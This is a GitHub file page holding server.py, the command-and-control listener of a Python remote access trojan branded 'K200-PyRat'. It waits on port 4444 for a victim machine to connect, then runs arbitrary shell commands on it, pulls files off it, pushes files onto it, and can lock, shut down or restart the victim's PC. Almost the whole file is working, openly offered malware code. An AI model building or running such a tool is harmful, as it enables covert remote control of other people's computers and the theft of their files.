-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
106 lines (92 loc) · 4.77 KB
/
Copy pathserver.py
File metadata and controls
106 lines (92 loc) · 4.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import socket, json, base64, colorama
colorama.init()
ART = """
_..----.._ _
.' .--. "-.(0)_
'-.__.-'"'=:| , _)_ \__ . c\\'-..
'''------'---''---'-"
██╗ ██╗██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ████████╗
██║ ██╔╝╚════██╗██╔═████╗██╔═████╗ ██╔══██╗╚██╗ ██╔╝ ██╔══██╗██╔══██╗╚══██╔══╝
█████╔╝ █████╔╝██║██╔██║██║██╔██║ █████╗ ██████╔╝ ╚████╔╝ ██████╔╝███████║ ██║
██╔═██╗ ██╔═══╝ ████╔╝██║████╔╝██║ ╚════╝ ██╔═══╝ ╚██╔╝ ██╔══██╗██╔══██║ ██║
██║ ██╗███████╗╚██████╔╝╚██████╔╝ ██║ ██║ ██║ ██║██║ ██║ ██║
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
"""
print(colorama.Fore.CYAN + ART)
print(colorama.Style.RESET_ALL)
# Set the commands as a 2D array with descriptions for modularity
commands = [
["exit", "Exits the connection on both sides"],
["cd", "Changes the active directory"],
["download", "Downloads files from the client"],
["upload", "Uploads files from the server to the client"],
["message", "Shows a message box on the client users screen"],
["lock", "Puts the client user back to the login screen"],
["shutdown", "Shutsdown the client users PC, will close connection"],
["restart", "Restarts the client users PC"],
["ratHelp", "Displays this list"],
]
def helpCommand():
total = 0
print("\nCommands: \n")
# Simple loop to send a description of all commands
for x in commands:
print(f"[{total}] {commands[total][0]} - {commands[total][1]}")
total += 1
print("[∞] Anything - will run a command on the users PC like command prompt\n")
class Server:
def __init__(self, ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((ip, port))
server.listen(0)
print(colorama.Fore.YELLOW)
print("[+] Waiting for a connection")
print(colorama.Style.RESET_ALL)
self.connection, address = server.accept()
print(colorama.Fore.GREEN)
print("[+] Connection received from " + str(address))
print(colorama.Style.RESET_ALL)
helpCommand()
def dataReceive(self):
jsonData = b""
while True:
try:
jsonData += self.connection.recv(1024)
return json.loads(jsonData)
except ValueError:
continue
def dataSend(self, data):
jsonData = json.dumps(data)
self.connection.send(jsonData.encode())
def executeRemotely(self, command):
self.dataSend(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.dataReceive()
def readFile(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def writeFile(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Download complete"
def run(self):
while True:
command = input(">>> ")
command = command.split(" ", 1)
try:
if command[0] == "upload":
fileContent = self.readFile(command[1]).decode()
command.append(fileContent)
result = self.executeRemotely(command)
if command[0] == "download" and "[-] Error" not in result:
result = self.writeFile(command[1], result)
elif command[0] == "ratHelp":
helpCommand()
except Exception:
result = "[-] Error running command, check the syntax of the command."
print(result)
activeServer = Server("127.0.0.1", 4444)
activeServer.run()